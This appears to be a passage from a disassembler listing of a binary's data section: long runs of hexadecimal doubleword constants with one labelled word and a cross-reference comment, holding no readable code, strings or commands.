		dd 0DE1B0047h, 81AA07B1h, 0A2591937h, 0D20B0020h, 0D46BAD28h
		dd 2E3FFC12h, 0B90FC3h,	3096C5C2h, 4C01D989h, 4641D1D2h
		dd 0F1D8C13Ah, 0D3092ECFh, 5F90749h, 2F35E74h, 979F8D40h
		dd 17773858h, 762E2800h, 4BE7CB8Bh, 4CEA00A9h, 0DF3D3086h
		dd 650739D6h, 4E31131Bh, 0C912431h, 13384860h, 0C07CA743h
		dd 5181B200h, 2F5AA100h, 72609345h, 0C74B0095h,	2EFBDD50h
		dd 0F2E08A40h, 8B0DDE38h, 2019303Ch, 0BAA05D80h, 0E5257E9Ah
		dd 0CE1F3F0h, 21B9F46Eh, 94A92AD8h, 7420CE87h, 147D1613h
		dd 0ECAB2063h, 112D5500h, 0D3058EF2h, 0AC48D06h, 384E96h
		dd 58DF7451h, 0E08513FEh, 14EAE87Dh, 60C7E2F8h,	0D7B01292h
		dd 0FFD229h, 3A691897h,	36BC0AF5h, 4F491D04h, 0F4C0AE50h
		dd 5097EB88h, 16A69842h, 7E94565h, 70C29FDCh, 0B8A10BFAh
		dd 830F9D12h, 643440A1h, 0D9F100B4h, 0ED3AF045h, 0D0002A16h
		dd 86F68115h, 0A1C603h,	0CFC46AE2h, 6D2BDB77h, 8D35602h
		dd 80D44E2Ah, 1370CDB8h, 0E7B73C68h, 14805580h,	8837F8C8h
		dd 9D6D9100h, 469CD06Ch, 5FE50024h, 764AFBD4h, 64EE9733h
		dd 97F3F00h, 0C8D0C5F9h, 583107DCh, 0D37EE734h,	0D7C85B89h
		dd 1002EE3h, 742D7FDFh,	0F9D6F2h, 6EA317A2h, 0D90F7C11h
		dd 35DCA00h, 0A19C8743h, 0EC7EC2Dh, 0DF074B65h,	4D6FF640h
		dd 0ED33EB85h, 0D034B80Dh, 7FABA7Bh, 7DBFD284h,	2B8650D5h
		dd 0AC04F779h, 0B48F89EEh, 614C0981h, 0F3448ECh, 56B91AE3h
		dd 7E169C40h, 5A25F212h, 0C138416Ch, 104F1420h,	1F5C92Dh
		dd 66ACCA52h, 74C8C368h, 0D434120Ch, 4A0009Ah, 0B027B663h
		dd 3C008170h, 5C3ABD0h,	0B6E779D9h, 9E0F0B68h, 0E43BA800h
		dd 0AD48804Dh, 12200087h, 82BC9A83h, 0B90D2C2Dh, 0F41B1494h
		dd 0AE6CDB07h, 0E0BBF069h, 0AC4C12B2h, 0BAA10080h, 5A62D0FBh
		dd 0BFE0FFDh, 0A3C0CCB9h, 0AF56F4CAh, 0B6284B7Eh, 0D700D6ABh
		dd 0DC10D455h, 0EA7674C5h, 0DEAE1F4Dh, 6A1A80B3h, 36F8EAF0h
		dd 67E51803h, 0C0EFAF01h, 5C0F61h, 0A0E38D02h, 2703A2ABh
		dd 0E504B8B0h, 0FB1A0D1Fh, 4717811Eh, 208318F2h, 35053EE6h
		dd 19260867h, 0C14D0C0h, 763F01D3h, 82CDB5E4h, 244FC9B0h
		dd 4E0148E4h, 45FA7D62h, 6824D546h, 7B8B0E5h, 83ED9FB4h
		dd 0D387803Dh, 0DD4A41A7h, 919B7000h, 39436254h, 8048F673h
		dd 930CC300h, 3E89D1FFh, 2354860Fh, 6319E713h, 0E05F74h
		dd 9A67014h, 8DB0DFF9h,	0CA7DEC00h, 0FF0370EBh,	6D04A1FBh
		dd 80C4E1E9h, 75D496D1h, 9E30002Ah, 0B778E27Eh,	9714039Bh
		dd 12F1FAAAh, 0A4B0813Ah, 0DE73B5h, 7116326Bh, 22BCC6Fh
		dd 86AF6002h, 60E179CDh, 1905726h, 5CAA7B66h, 0F4F751C0h
		dd 941782D0h, 10C064AEh, 0FE38B7h, 0E1C7CCA2h, 0D7CE4835h
		dd 2D916E00h
		db 4, 1
word_4D4152	dw 0D40Bh		; DATA XREF: ___:off_42E644o
		dd 0ADC8016Ch, 44CFC90Dh, 430C2051h, 0DF309516h, 2F808C70h
		dd 199CA870h, 0CD5209F7h, 0C0429095h, 8A005878h, 0E1B49979h
		dd 59961B40h, 92000CEBh, 71A04F75h, 0F00B445Fh,	7FC215Ah
		dd 14E096A0h, 3F24660Dh, 6C8234B9h, 0E017F09Ch,	0E8A0C40h
		dd 6788BC00h, 0C905C2A5h, 283302F8h, 5F9B43CAh,	0BB3F88E0h
		dd 0CFA9E114h, 0A2D500B8h, 0C33213A5h, 0C13100B6h, 0D819DBD0h
		dd 0B4032DAEh, 0AE530ACh, 0BA6AC05Ah, 0F5260C98h, 270F31Dh
		dd 8E61DB00h, 9423114Ch, 1701EE49h, 69B8CBh, 6BA89EC0h
		dd 2F003965h, 5B4C9041h, 600FCDh, 0A185450Eh, 0E653ADF2h
		dd 5F1E3DF6h, 0A0C0B9F0h, 9A3F46E5h, 1DE70183h,	0C721B331h
		dd 7F9CF0CCh, 48E48B07h, 870A51Eh, 0C273A45h, 0D0D4CF4Eh
		dd 0E905D611h, 8371866Ah, 842EDD00h, 5182AAh, 0DD06B4B7h
		dd 8FEEB693h, 80DC833Bh, 0BE66915Eh, 0AA75F8h, 0D21C12B4h
		dd 0E0A45B7Ah, 0ED0158B8h, 5A379C2Eh, 30806558h, 0D4543A0Eh
		dd 0EA3D2426h, 0ECD6801Ah, 9C3F7CD1h, 389D00EBh, 0C86DF181h
		dd 0A003DCAh, 0CE33777h, 9590B9CEh, 2062B826h, 167A3Bh
		dd 3FA072Eh, 0A83A26h, 4B53C2E4h, 8F915FA7h, 9FE58C00h
		dd 0F3EB9082h, 1E547794h, 878E4ABCh, 0C01BF1B9h, 8A377B3Ah
		dd 1F7ED700h, 0F3BC4518h, 0ACE70EBBh, 242460B2h, 0A4F341h
		dd 86543DD6h, 5CFB04h, 571AD07Ah, 1EC25127h, 0F91DFD02h
		dd 0F1C485F1h, 0E8ED0994h, 34844800h, 1E03DB06h, 850F6EF8h
		dd 565FCA3Ah, 0D36600ACh, 0F30887F2h, 0A6AB2F01h, 4A01D45Ch
		dd 7B6169E8h, 30FB00F7h, 0E8C0B3A5h, 8FB8E9B2h,	4CCD2A1Ch
		dd 0E22FAC81h, 5C209C14h, 0BC5A5B2Bh, 0FA7C09A1h, 7E9400CFh
		dd 18A730ABh, 29B5D643h, 6B3F211Ah, 39587C8h, 2230691Dh
		dd 1D7F7B8Eh, 26FB06ACh, 561C1F44h, 0F87500D5h,	0FC4F0A8Ch
		dd 9D3AFD1Eh, 8475E840h, 0C02FFEBBh, 41B5B9A0h,	29691BE9h
		dd 2946010h, 3B1C5813h,	0BF1FC600h, 86FD8218h, 0DDCC4D00h
		dd 0F95ED499h, 839500F3h, 52237D9Dh, 0B0ECB387h, 8D649313h
		dd 0A40FB400h, 7E32EAh,	770EEB75h, 9D706930h, 547C4C1Fh
		dd 0A3FD8800h, 0AA8ABh,	0DA8E62B5h, 256138A4h, 0F41FCF2Eh
		dd 50C14C07h, 3F42D910h, 199E0071h, 0CC5C78B6h,	8800E9DAh
		dd 2152BA3Ch, 7FBAA17h,	0CAC6589Fh, 8BB806Bh, 304CBD89h
		dd 61DF0018h, 0CC2A3A95h, 44F50070h, 29721C8Eh,	76000E85h
		dd 0AC8469F0h, 2434C9ABh, 26F1A42h, 0D8E9DE39h,	5EECF868h
		dd 0D3AC6400h, 0AA6C7E79h, 19ED002Fh, 67FAA626h, 23004735h
		dd 900F5C33h, 7A07DDh, 16F3A46h, 7B9B1E2Ch, 0F1EA10C0h
		dd 7E221C37h, 0DC660F68h, 4B496ADAh, 0CB5E9287h, 1D87CE1h
		dd 1CF9A1B7h, 2677A9CCh, 80A8E2D9h, 8D80ECAFh, 4900A4F5h
		dd 4B03C60Fh, 67E92D24h, 4ED0B04Ch, 92CA04DCh, 13C4B88Fh
		dd 0B4CC794Ah, 344FCBEh, 0EEBBC353h, 5EF02D73h,	0DC30EA2Bh
		dd 746EF908h, 2F5B784Eh, 20221FE2h, 0C4D8EB18h,	0BF0DC600h
		dd 60C0EF89h, 46A1C098h, 1C93D545h, 57F19900h, 0E340EF10h
		dd 20BF6017h, 0A7CAC15h, 0BBEB1D00h, 50351FADh,	6EB80B4Ch
		dd 4180BF3Ch, 0CF40396Fh, 152D9C00h, 31EA6B5Eh,	0F7BE3F7Fh
		dd 261E4C8Ch, 40001418h, 0B88CDB5Fh, 6E06CDh, 857555B9h
		dd 0D5166B97h, 963A5000h, 62B1E6EDh, 3825604Bh,	6A12CD7Ch
		dd 4285B600h, 6B2CED98h, 8E3D0690h, 619DC84Bh, 9E2FF90Eh
		dd 53B72069h, 0AD5965h,	0A97E899Ch, 2671C374h, 4879C716h
		dd 0FE4BA2F0h, 37AC000Bh, 0CE584F1Fh, 7700D185h, 0AE0143BBh
		dd 370C2635h, 0E018B824h, 5EB6E770h, 20E050E8h,	76043303h
		dd 0EBD0CB69h, 2F63A086h, 0F2150799h, 80CDE1F1h, 9EC397B7h
		dd 7E5F93Fh, 0E7774625h, 343C7350h, 339C1ED1h, 0A1404024h
		dd 0CAFC7C30h, 681884A0h, 0C82C4E03h, 93590F69h, 3A5DC142h
		dd 4B892080h, 15FE7F2Eh, 4A33E907h, 2650982Fh, 70C0CFh
		dd 8B5C28D1h, 8491FD1Bh, 5800247Ch, 7D32D486h, 7B7FF7h
		dd 0FECEA628h, 4FBD3561h, 0B1031778h, 0B62D6346h, 4CFBD0A9h
		dd 4A3400F0h, 20C189A1h, 0BBE2C974h, 5D8FF600h,	3006D98Eh
		dd 1624010Dh, 0DE17077Fh, 0F0C44741h, 27739A92h, 3D077878h
		dd 30E78AE4h, 42DBA990h, 0E0E3FB4Ah, 74F6ECBCh,	0A039F086h
		dd 0EE8DFD1h, 0F5815214h, 59C13540h, 924C2A3h, 2D0010D6h
		dd 0AD3DACEEh, 395612BFh, 4C08009Bh, 0C96E0A57h, 62D80F00h
		dd 0BE59D3B6h, 653A07B9h, 0A5A899EAh, 609C008Fh, 68FB48F0h
		dd 8B2AD500h, 0EBE89E27h, 0FEC937E7h, 0F56E3020h, 8CF851BAh
		dd 4E79850Fh, 0B24C46BFh, 79F8F6C8h, 80280FC9h,	0F2E7ABE0h
		dd 65F5094h, 90281167h,	3204D42Dh, 165BEE4Bh, 0E9794090h
		dd 1AB61C7Ch, 7B9CC088h, 28A2F201h, 5FBEB109h, 53683025h
		dd 9C68245Ch, 0D2AF814Ch, 2023FB0Ch, 8B3F38C3h,	0B040BDBFh
		dd 0E96C319Bh, 12FFE42Eh, 4846E7B2h, 0B04CEFACh, 0EBEA00D2h
		dd 0B4C9137Dh, 926704F7h, 14F12761h, 4180774Bh,	0F6E5F119h
		dd 7500E1FCh, 984597BDh, 3986034Bh, 96806B2Eh, 3E4987D9h
		dd 5E00BD67h, 5924B7C9h, 0ECD60899h, 7E7F0733h,	40FF257Ah
		dd 276ABB2Eh, 0A900F475h, 0C9861AE2h, 28CBF907h, 0F8906526h
		dd 120C0016h, 20B42384h, 80541D6h, 53D35E8Ch, 0E0E9F383h
		dd 9084A58Ah, 93FA0740h, 26125A8h, 0B8405B31h, 0EB065407h
		dd 0ECB9CC89h, 909829h,	1AC4C796h, 0DD2030A0h, 0C2F2B492h
		dd 11F90C0Ah, 15BD841Dh, 1FD83FFDh, 0E0C06C9Bh,	0BE6BEA6Dh
		dd 2B0900Eh, 7EA25B0Dh,	0AC40FE73h, 5A00A006h, 0D2742AD3h
		dd 923C0B1Eh, 2309000h,	943834ABh, 76C0AF27h, 0F0AAABAh
		dd 0DC9A5156h, 33F08FBAh, 405CCED9h, 0DCF67DF8h, 8DD331E1h
		dd 603ED189h, 0AE24642Ah, 0FC0778E4h, 0D8DAB432h, 4ADCE71Ch
		dd 0A1C93BC6h, 0E8080021h, 8A44D706h, 0BF00EB4Dh, 88F6C7CAh
		dd 831445h, 97B24A99h, 0EA4FC4B7h, 8074303Ch, 0D65C3781h
		dd 11990DCh, 3FBAA485h,	0FF270645h, 0C8E151A8h,	7521D903h
		dd 0B7D133B4h, 0E3668B90h, 0DD8E0010h, 0AC771FB0h, 0DE01C63Ah
		dd 0A15E9098h, 0C1FCB668h, 0FEC0317h, 2AB832BAh, 38FEC2B8h
		dd 0A2890500h, 909A369Dh, 0B55B0056h, 2C8F27FBh, 5D790E83h
		dd 0AA007C98h, 57A2D2FCh, 1E8E1F97h, 925F5A72h,	59DB07A9h
		dd 8646A05Bh, 390E953Dh, 60F94E41h, 33E318F4h, 1B1E0036h
		dd 0C231DD5Ah, 318B64Bh, 0C136CF9Eh, 0FFE80080h, 179D12A9h
		dd 0FD00434Eh, 0EDBD7697h, 0CDB011h, 58A231E0h,	4E855C90h
		dd 0A0A5B604h, 508033F2h, 2088409h, 0E79A9C56h,	2D008F71h
		dd 3868DB2h, 0F40E7042h, 18018C09h, 0FA6F953Bh,	0FC30BEE8h
		dd 0CBB9205Fh, 0D200BA70h, 0FFD3F8C2h, 0F9AE4B5h, 346FCC7Bh
		dd 0C39380E0h, 0C616DB42h, 70015CF1h, 1D9657CFh, 901A7FE0h
		dd 64710028h, 0C8DC4D93h, 0B248E8CAh, 5DA6046Ch, 10909B18h
		dd 77DF542h, 9DB80A05h,	9E9A9366h, 5FFDEBF0h, 0D4EAA01h
		dd 9C06DBE2h, 0F77FECh,	290E12F9h, 449F9A2Fh, 59D65D00h
		dd 51FC2D20h, 0C75800B4h, 0E136EB60h, 5D004DC9h, 111F8D42h
		dd 4F5E409h, 53C7FE37h,	0B8BAC158h, 878F8DDh, 4E1E5200h
		dd 8D72D961h, 64E621h, 28364DA4h, 3AE6EECDh, 0A3A6FE00h
		dd 0F38DCEBBh, 1C203810h, 0B927B69Dh, 0F26BF000h, 0C346D585h
		dd 80665C00h, 0E16E2C3Eh
		dd 424903Ah, 0FC9A9720h, 1FC6075Dh, 0AEF40120h,	2E7200E3h
		dd 0C5D0B37Eh, 3D01F211h, 0E5CAA118h, 72DCA9E9h, 8466007Ah
		dd 0A79094B0h, 774CC9A3h, 2EED0AE6h, 0D388F8B7h, 0DC5C095Bh
		dd 0DFD72410h, 2C9A13FCh, 6B00AB7Eh, 1F020C0Dh,	0FEA815h
		dd 576D107Bh, 0EA45D09Ah, 0B5F5F90Bh, 40B10170h, 0C0FC3471h
		dd 54853F2Dh, 0E08AD080h, 0C92CEE36h, 0D4C3A900h, 30959966h
		dd 3919C323h, 0FEC04C43h, 0C404E629h, 0D4AC45E9h, 1A5B5CC0h
		dd 12755Fh, 0CB1907C8h,	0C4BB6759h, 9258700h, 0C6A7E6F8h
		dd 5E210080h, 0DBE56142h, 33249B3Fh, 978050A0h,	0C9F136ACh
		dd 576907FAh, 0F04990Fh, 253A2A80h, 4200F5C5h, 43D2A45Eh
		dd 0B8BE4E96h, 0EC8C0736h, 97DFC399h, 0BB5B50B2h, 760041E1h
		dd 0B421724Ah, 34A4B5h,	0F25CDD15h, 31547D77h, 0AE000971h
		dd 0E08F6D46h, 831333h,	18FAA556h, 312C5066h, 34A6E3Ah
		dd 0B94D6785h, 0BD58E88Bh, 7CD20098h, 630C3441h, 0F008574h
		dd 6E60129h, 96B66h, 4B04838Fh,	0C5151DF4h, 780D2700h
		dd 9B0A1CCDh, 0BB338C7h, 1FCFA282h, 2868D935h, 7A0BE2F2h
		dd 80256BC5h, 477582E4h, 0FCEB26BAh, 8F20F5h, 443DCDC3h
		dd 0AC686448h, 22EF3100h, 0A9B802D4h, 8B1F1F55h, 0CB8DC24Bh
		dd 8AC0DD9Bh, 0AF4C5F9Fh, 50050F30h, 4EEC65ADh,	957BF8D0h
		dd 0A2180461h, 0A0E98CA7h, 0AF00028Ch, 80FEA4F4h, 0FDA8FFh
		dd 0F671D77Ch, 0AC43EDC3h, 5703F9F8h, 9CE8919Fh, 6BE5C896h
		dd 3AAA0349h, 2D033336h, 23C1EB90h, 0DBD50900h,	0D6A75435h
		dd 17401BD3h, 8BE28151h, 0E8749FC0h, 84491300h,	8C3916F6h
		dd 81833125h, 0F0214B28h, 760B483Ch, 0A0C6ECDEh, 657E453Ch
		dd 30CF63B2h, 80A0F784h, 34009D75h, 0E61C4754h,	3981CE55h
		dd 0C705125Eh, 41C9DD39h, 84646120h, 9188467h, 0CA00D966h
		dd 587581ABh, 280F9C90h, 0C2A817F7h, 40BADACFh,	7861490Ah
		dd 0F9D8F7C8h, 0A3FC87h, 0D6A5C0ADh, 415C82E5h,	5EB1E601h
		dd 0DA06AC30h, 10565985h, 0B310D109h, 5EB88E1Fh, 848180EFh
		dd 0A012532Ch, 0A00CAD10h, 9869F81Ch, 0D17E00E9h, 3E705CF4h
		dd 110058BFh, 0CD73F645h, 1334828h, 0BAC95BD7h,	0EF44D217h
		dd 0B3F852EBh, 0E21C4F3Ah, 0C0CD8D09h, 4CCC1861h, 0A7A50062h
		dd 5E0170CCh, 0D2185F03h, 4A20F460h, 6CD94DB3h,	0F30C7000h
		dd 0CC579E4Fh, 0A80024E2h, 0DC78A39Ah, 3E229CDAh, 4286A672h
		dd 401880D2h, 5B3BDB1Eh, 7DEBE107h, 0B6E48780h,	0D528C379h
		dd 4FF58657h, 5EE04DC4h, 35DAA4DFh, 8F800854h, 0B221CB67h
		dd 3042898Ch, 5851FDE2h, 0C21870BAh, 9CD1CE88h,	0A4750765h
		dd 4620D4CCh, 880141C0h, 0CE71A755h, 3C245659h,	0E91B00D0h
		dd 5E80D1C0h, 0F2615870h, 0FB88C930h, 61081A7Eh, 3E006009h
		dd 8B25AF75h, 3D87FC1Dh, 0BBE8EA40h, 6D665B3h, 28E79F8Eh
		dd 9DE8C133h, 13E42C03h, 487DA7h, 57945F79h, 3666F6DBh
		dd 21088C1Ch, 1B8FCD80h, 38C7A932h, 9026819Bh, 0B3130EB8h
		dd 5E573898h, 157188A4h, 5D03BF78h, 20FC7570h, 0BB35C0B0h
		dd 17DC31C0h, 8ED4A581h, 9B2D31h, 5D991B3Dh, 0FDF804h
		dd 565888BCh, 44B84F1Eh, 0E2538E00h, 50ACF4FBh,	0CF2F06E6h
		dd 0B9497EB2h, 0D312EC00h, 0D4C6341Bh, 0A4DE07B8h, 0A28CCD57h
		dd 708356C9h, 8100DF35h, 7A51CCB2h, 0EE9B685Fh,	5EA0008Eh
		dd 34D2C49h, 29C0E035h,	16D0C74Ch, 0A9AE00E4h, 3A9FE223h
		dd 0B603806Bh, 94683856h, 827AC030h, 2C350954h,	8C21DD2Bh
		dd 0D0A30990h, 99002D96h, 4145E758h, 93600Eh, 899D9208h
		dd 0DEAC5C3Ch, 4CDBB53Fh, 5ACE05E0h, 0FC02DAB8h, 0C04FCDF1h
		dd 1E7EC9h, 191ADA4h, 49FCFDB4h, 0C9B8C50h, 894E6B01h
		dd 285B5AFBh, 0CDD8DD40h, 6EFE75B9h, 612E28F8h,	5D64AB80h
		dd 0FCF289B3h, 46419500h, 81996D0Ah, 616000F0h,	0B49E407h
		dd 0FA6359CDh, 38B52438h, 0CF009231h, 3F559917h, 0E305C5C2h
		dd 0C60968A9h, 0A637C6h, 24EEF5B0h, 355530D7h, 0C5A121Eh
		dd 0DDAF6840h, 0D1A58Dh, 549253C6h, 5B15A393h, 1CD9980Fh
		dd 0C8E680D7h, 728BDCBh, 59A22312h, 0FDDE71C0h,	7FF08B9Bh
		dd 7F787E6h, 0AA42B81h,	0A808F8h, 0C6A13930h, 377990B1h
		dd 0E01E3600h, 70957DF0h, 473A003Fh, 120318B3h,	5100F638h
		dd 0CEB4AB9Ch, 6DE7893h, 6B4FB98Bh, 18ECE88Dh, 0F0B08355h
		dd 80A8BB96h, 37008E38h, 80E93C16h, 2904BFh, 43DD3450h
		dd 1DEC5CADh, 31A24B00h, 413FF19Ch, 0BFB504A5h,	0AF586106h
		dd 51953580h, 459F066Ch, 18EBEC72h, 0CC9623Ah, 11EF1A83h
		dd 7F33384Bh, 54742301h, 9B0C525Fh, 9121D308h, 34C87F6Bh
		dd 634E0083h, 4C023FECh, 4A3C4FF2h, 4D2860D6h, 2DC5EDh
		dd 695776C9h, 5A9CD568h, 38476E00h, 582F460Ch, 0F3E418EBh
		dd 4A99906Ah, 0A9D41819h, 62E478B8h, 0A9666070h, 0A48E9A42h
		dd 87807D3Dh, 6C10E5B4h, 714E46h, 758D8160h, 7642AE16h
		dd 0BA20F401h, 46C7530Ch, 2DEBB880h, 0B2D6F93Eh, 185161C1h
		dd 108268A8h, 0CE8CACD3h, 37B4860h, 62292A00h, 9B113D07h
		dd 4C32005Ah, 0D3A204D5h, 0A3000C82h, 22092E08h, 733EC7Ch
		dd 0B729DD64h, 80708547h, 0B41DDB39h, 0BB152C00h, 79F211D4h
		dd 3B940036h, 0F362761Bh, 0E2511A52h, 0C7EFD7E4h, 9BFEA172h
		dd 0F23AE86Dh, 100F9C71h, 83333542h, 0B06A2C15h, 361D52Dh
		dd 59987263h, 0D8E8806Fh, 0BC5C7351h, 0C70400EFh, 1E4412Ah
		dd 0FC420094h, 46AAFE69h, 2900FB49h, 0B897E7CCh, 0DE2C37h
		dd 0C49A02F0h, 7A4DFA24h, 80C2D338h, 0BB1EAC55h, 0E47758h
		dd 97568202h, 55288F9h,	67B19900h, 0E7C8C271h, 78180058h
		dd 1169EFFDh, 6002C0A5h, 1ED9F473h, 5F7BC002h, 25370733h
		dd 503AEA61h, 26CBC22Fh, 6EE63618h, 0C6C158h, 0EF5AC539h
		dd 0ED351D31h, 0BDC4E200h, 932DFA02h, 0D05C0042h, 4983E482h
		dd 0CE0701C0h, 68B145CBh, 0D605F7B0h, 911900BBh, 0A82D292Fh
		dd 0E63DCD56h, 7E5200EEh, 0B4870BB7h, 0AA5E0031h, 0A3C821FEh
		dd 8B003706h, 0D201094Bh, 0FAFBA864h, 0D7E2002Dh, 8C1B4602h
		dd 760F14F8h, 0A0CAEBAEh, 7C86FAD4h, 925D00B7h,	48E5A0BAh
		dd 33004405h, 79A9601Bh, 40D8DEh, 0D690DCE0h, 0FA2FA58Fh
		dd 0C7BAD8A0h, 58940701h, 464BA40Bh, 2DB9C4h, 0C3919614h
		dd 0E6620845h, 0DBBA9000h, 6734CD3Eh, 0A9610222h, 0DD3721FDh
		dd 0E5569140h, 0E1EC9800h, 0C45A0A4Dh, 0CAF70018h, 7D67C825h
		dd 0FBFAAC0Eh, 0B7ED7E0Ah, 2800A81Ch, 2945843Eh, 6D7609h
		dd 265EDBC7h, 0C1D9F022h, 2033F00h, 819853B8h, 1CF80087h
		dd 115A9D06h, 0B6007B2Eh, 380941C6h, 79A86928h,	0AB97014Dh
		dd 0AD1526E0h, 4FA6F8D8h, 70259F30h, 3AE930CEh,	7B80BB5Eh
		dd 0BF514078h, 0A6011CF7h, 47E1FF6Bh, 97CC30AEh, 0C2A30768h
		dd 0B08B8EBEh, 5693EB82h, 61B8DEE0h, 820B783Eh,	3B2A9031h
		dd 42C080D0h, 9C367ECh,	0EF4D4E14h, 0FAA06400h,	0BF75999Dh
		dd 0C53D72ECh, 0AC1900A8h, 0C3DC32E6h, 8643019Fh, 31271834h
		dd 0DC1FFD30h, 9E70D336h, 0EEA38202h, 0E013A491h, 7796CEF4h
		dd 90F50083h, 0E967D1E7h, 0AE3DB933h, 0E255805Fh, 32BC6E8Ch
		dd 0B09D0F8Bh, 65C6A9DDh, 0A4298142h, 0B009C41h, 8FE32DB4h
		dd 565158B7h, 0BD795C00h, 1FB818EEh, 1CA348h, 5D4FA2D9h
		dd 8863CAh, 851AB9BBh
		dd 4E035208h, 0CE00977Ch, 0C0C9299Bh, 72BA46h, 0DB0B9334h
		dd 94964FEh, 0B60088ECh, 3C40ACE1h, 18D5276Ch, 60A759C0h
		dd 530CEA91h, 10A88D39h, 0A311098Fh, 5420AEA4h,	918782C4h
		dd 3D4C0F00h, 0C206675Bh, 0ED3200F7h, 0A12C412Fh, 7C909B8Bh
		dd 2BC8100h, 38C32887h,	0D66E00D7h, 1EE4DDE8h, 0C17F5EF8h
		dd 6400ED7Dh, 4BEC187Ah, 79A81285h, 0AC9831h, 0CB710D5Eh
		dd 0B359E162h, 0C18A0100h, 0E491C4DFh, 6D111EC9h, 40068974h
		dd 0DC28C4D4h, 0C1541C00h, 0E4046020h, 2DDF00BBh, 2F790297h
		dd 549AD6D0h, 7B30FE02h, 623B7C35h, 8814874Ch, 0DA6399C0h
		dd 0F1D20C17h, 0B611A92Bh, 6F725101h, 0A6B564E2h, 0B8FB6C80h
		dd 54147B55h, 28B30A30h, 58CA15h, 0F08F5D84h, 0F1BA5A42h
		dd 48BB1900h, 0A9E537C9h, 5C8A000Dh, 0C332F408h, 0D60133A3h
		dd 216987A6h, 0FD15203h, 58BFC120h, 3C003715h, 0B0866712h
		dd 0DAF15B21h, 7A23B0A3h, 9A89B1E3h, 0C7A82026h, 0BB0B2970h
		dd 0F194F7h, 0CE3E5B00h, 583B6017h, 0BBDE9E08h,	0E720E014h
		dd 422E77C4h, 0C31C6F4Ch, 447B837Fh, 0C0703FE5h, 0ADFEA5h
		dd 770BF1FFh, 0BC4352C8h, 6C00FC98h, 0DA606A42h, 3CF0A22Dh
		dd 54034BC6h, 97335B25h, 7787A100h, 0E0164965h,	3A07004Dh
		dd 0DBBFCC8Ah, 0C61F20D5h, 9BC21C5Dh, 0E1F3BEBBh, 6EE861D8h
		dd 0DC1800DBh, 2BFD5B50h, 0D7007299h, 0E34702FBh, 1F163Bh
		dd 0A1FEADB8h, 9307D6E5h, 198F11DFh, 8D53402Eh,	0C3DD39h
		dd 2C47E622h, 0ED34C730h, 3571DF04h, 0CCD10D99h, 0C26008C0h
		dd 0A4603AFh, 519FC190h, 0D62B5CA1h, 6EEBA087h,	35BD44h
		dd 0C31BD646h, 0BB07008Dh, 2F57A0B0h, 0FB009281h, 44D1C033h
		dd 77E8E3C1h, 9EBC019Ch, 3A8778D6h, 430F319Bh, 47E71C00h
		dd 103271D4h, 72FDE4FAh, 81623501h, 0DC5DE352h,	63A8C4h
		dd 8069DE5Fh, 0A34C4A4Bh, 0FEE2BE00h, 0FB5C171h, 4DE93E38h
		dd 407BD880h, 0D717F753h, 0FFCAFA01h, 780DD88h,	7A81FD0h
		dd 0F73E719Ah, 0E1212036h, 621F565Dh, 2800C5Ah,	96FFBCAh
		dd 0B4EA0625h, 0A6A62FD6h, 399DD8FDh, 86E9F300h, 0A4A7B88h
		dd 594F0068h, 56CA4110h, 460CE7D0h, 1EA29A14h, 12720B5Ah
		dd 0FE007931h, 0F3C778CBh, 1C7A7B00h, 0B9AD8646h, 59D90020h
		dd 4570BC97h, 9F902516h, 6712DDFEh, 9E018D2Eh, 36FED109h
		dd 100D7DBh, 0F26C8B7Fh, 760F0023h, 3D528008h, 9CE8EC65h
		dd 0D4F2AA00h, 94C4678Eh, 6114002Fh, 4D46F6ACh,	3D00104Eh
		dd 0A191BD73h, 706FF4E7h, 9778003Eh, 3F497D04h,	7F0E2B36h
		dd 8023794Eh, 4D9A391Eh, 2D730066h, 0D6C5D3DFh,	0A0009584h
		dd 0F4114858h, 0EA6BEB8h, 479D781Dh, 10C46B20h,	0E1000927h
		dd 0AC8A9326h, 2B76421h, 0EF7DA63Fh, 0F860BDB1h, 5D011B98h
		dd 8428485Eh, 0DDC3034h, 21FE4CBh, 0CE199F6Dh, 0B6E02F60h
		dd 0ECFCE379h, 0D6DE7200h, 0CF71D11Dh, 0D35C0735h, 40E9B82Bh
		dd 52D74C3Ch, 66670D17h, 2ADB2043h, 370A686h, 9744D415h
		dd 0A3A0BC75h, 0A17C0BBFh, 22187767h, 0B220C7C1h, 0AF111840h
		dd 81950369h, 8E440C06h, 0D1189FA0h, 687DD700h,	0BF91C105h
		dd 5C73793Bh, 4401FE2Ah, 0DBB8C6F2h, 0C72447C7h, 830CC71Ch
		dd 99006406h, 0B8CEF217h, 1AA6D7D3h, 40CA2521h,	0D0D04416h
		dd 0B63E1D44h, 0F369603Dh, 3C825Eh, 987316EBh, 85FF275Ah
		dd 7683C900h, 0B05EB75Bh, 0DAA00029h, 716482A8h, 8509D033h
		dd 0D0ADAB31h, 1D691E9Eh, 0B4FC0072h, 797B4329h, 5BD92D1Dh
		dd 25C0075Ch, 8353494Ch, 0D02C00BCh, 0E225859h,	78481965h
		dd 734D07B2h, 544095FBh, 7918698Ah, 466300A0h, 0AD2ADAA2h
		dd 0B100C9C3h, 5C40E276h, 0E4146654h, 0E3530020h, 0AF3606DCh
		dd 603A4177h, 0C64D80C7h, 350ECEABh, 0B246001Ah, 80D4E8C0h
		dd 8003BA1h, 747199B3h,	28956Ah, 0CD41D6E0h, 0FEB757A8h
		dd 0A748BD00h, 6555F6E4h, 67F30017h, 4E0690CAh,	2A0339FFh
		dd 976088AFh, 14F1B015h, 1E000D3h, 731386EAh, 2400DD65h
		dd 5564A4F7h, 9695D71h,	0E1EF150h, 0E563E882h, 1000C242h
		dd 0F1514D49h, 2C98D8A8h, 3A20580Ch, 1A11BCh, 6544B20Eh
		dd 3B862F96h, 33B6263Ah, 0E0C4211Ch, 14715B2h, 0D6857AE9h
		dd 40126EE6h, 0C1DD4B20h, 3418ABFEh, 4378809Eh,	840D0131h
		dd 54D1F16Dh, 68B180C6h, 70F04B92h, 1290C098h, 44096745h
		dd 1940AE48h, 0C508460Bh, 4BFC34h, 0D5107D55h, 6EF720FFh
		dd 426219C0h, 34D09Bh, 176CAA7Ah, 9821E31Eh, 65BA5700h
		dd 87371DFFh, 60743B13h, 0BDC62580h, 0AE780DAAh, 8B2B0500h
		dd 0EB623971h, 9B9900CCh, 8E753A48h, 13FD1C8h, 86DA0138h
		dd 965589ABh, 0A8C3D8h,	27BE466Eh, 0E325BC29h, 386A700h
		dd 1331F7F4h, 1D830077h, 15E8F3Ah, 1E0010F3h, 5DDDB682h
		dd 0E84EC0h, 755AA4FAh,	25DAB8D6h, 0A2696D0Eh, 24340017h
